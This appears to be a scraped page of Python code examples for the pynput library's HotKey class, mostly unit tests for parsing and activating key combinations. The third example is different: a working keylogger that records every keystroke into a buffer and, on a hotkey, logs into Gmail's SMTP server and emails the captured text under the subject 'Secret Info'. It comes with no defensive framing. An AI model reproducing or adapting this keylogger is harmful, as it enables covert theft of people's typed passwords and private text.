Exemplo n.º 1
0
 def test_parse_valid(self):
     self.assertSequenceEqual(
         HotKey.parse('a'),
         [
             kc.from_char('a')])
     self.assertSequenceEqual(
         HotKey.parse('A'),
         [
             kc.from_char('a')])
     self.assertSequenceEqual(
         HotKey.parse('<ctrl>+a'),
         [
             k.ctrl,
             kc.from_char('a')])
     self.assertSequenceEqual(
         HotKey.parse('<ctrl>+<alt>+a'),
         [
             k.ctrl,
             k.alt,
             kc.from_char('a')])
     self.assertSequenceEqual(
         HotKey.parse('<ctrl>+<123456>'),
         [
             k.ctrl,
             kc.from_vk(123456)])
Exemplo n.º 2
0
 def set_hotkeys(self, hotkeys: Dict) -> None:
     for hotkey in hotkeys:
         try:
             if hotkeys[hotkey].__name__ == 'on_paste':
                 self.paste_hotkeys = HotKey.parse(hotkey)
                 break
         except Exception:
             continue
Exemplo n.º 3
0
def main():
    #Email Stuff
    gmail_user = ""
    gmail_password = ""
    sent_from = gmail_user
    to = [""]
    subject = "Secret Info"

    #Sends our email and stops the keylogger
    def on_activate():
        print("Hotkey Pressed")
        try:
            server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
            server.ehlo()
            server.login(gmail_user, gmail_password)
            print(body)
            email_text = """\
                    From: {}, 
                    To: {} 
                    Subject: {} 

                    {}""".format(sent_from, to, subject, body)
            server.sendmail(sent_from, to, email_text)
            server.close()
            print("Email Sent")
            print(email_text)
        except:
            print("something wrong yo")

        sys.exit(0)

    def on_press(key):
        global body
        body = body + str(key)

    def for_canonical(f):
        return lambda k: f(listener.canonical(k))

    hotkey = HotKey(HotKey.parse('<ctrl>+<alt>+h'), on_activate)

    with Listener(on_press=on_press,
                  on_release=for_canonical(hotkey.press)) as listener:
        listener.join()
Exemplo n.º 4
0
    def test_parse_invalid(self):
        with self.assertRaises(ValueError) as e:
            HotKey.parse('invalid')
        self.assertEqual(e.exception.args, ('invalid', ))

        with self.assertRaises(ValueError) as e:
            HotKey.parse('a+')
        self.assertEqual(e.exception.args, ('a+', ))

        with self.assertRaises(ValueError) as e:
            HotKey.parse('<ctrl>+<halt>')
        self.assertEqual(e.exception.args, ('<halt>', ))

        with self.assertRaises(ValueError) as e:
            HotKey.parse('<ctrl>+a+a')
        self.assertEqual(e.exception.args, ('<ctrl>+a+a', ))

        with self.assertRaises(ValueError) as e:
            HotKey.parse('<ctrl>+a+A')
        self.assertEqual(e.exception.args, ('<ctrl>+a+A', ))
Exemplo n.º 5
0
    def test_activate_combo(self):
        activations = []

        def on_activate():
            activations.append(True)

        hk = HotKey({k.ctrl, kc.from_char('a')}, on_activate)

        hk.press(kc.from_char('b'))
        self.assertEqual(0, len(activations))
        hk.release(kc.from_char('b'))
        self.assertEqual(0, len(activations))

        hk.press(kc.from_char('a'))
        self.assertEqual(0, len(activations))
        hk.release(kc.from_char('a'))
        self.assertEqual(0, len(activations))

        hk.press(k.ctrl)
        self.assertEqual(0, len(activations))
        hk.release(k.ctrl)
        self.assertEqual(0, len(activations))

        hk.press(kc.from_char('a'))
        hk.press(k.ctrl)
        self.assertEqual(1, len(activations))
        hk.press(kc.from_char('a'))
        hk.press(k.ctrl)
        self.assertEqual(1, len(activations))
        hk.release(k.ctrl)
        hk.press(k.ctrl)
        self.assertEqual(2, len(activations))
        hk.release(kc.from_char('a'))
        hk.press(kc.from_char('a'))
        self.assertEqual(3, len(activations))
Exemplo n.º 6
0
 def test_parse_valid(self):
     self.assertSetEqual(HotKey.parse('a'), {kc.from_char('A')})
     self.assertSetEqual(HotKey.parse('<ctrl>+a'),
                         {k.ctrl, kc.from_char('A')})
     self.assertSetEqual(HotKey.parse('<ctrl>+<alt>+a'),
                         {k.ctrl, k.alt, kc.from_char('A')})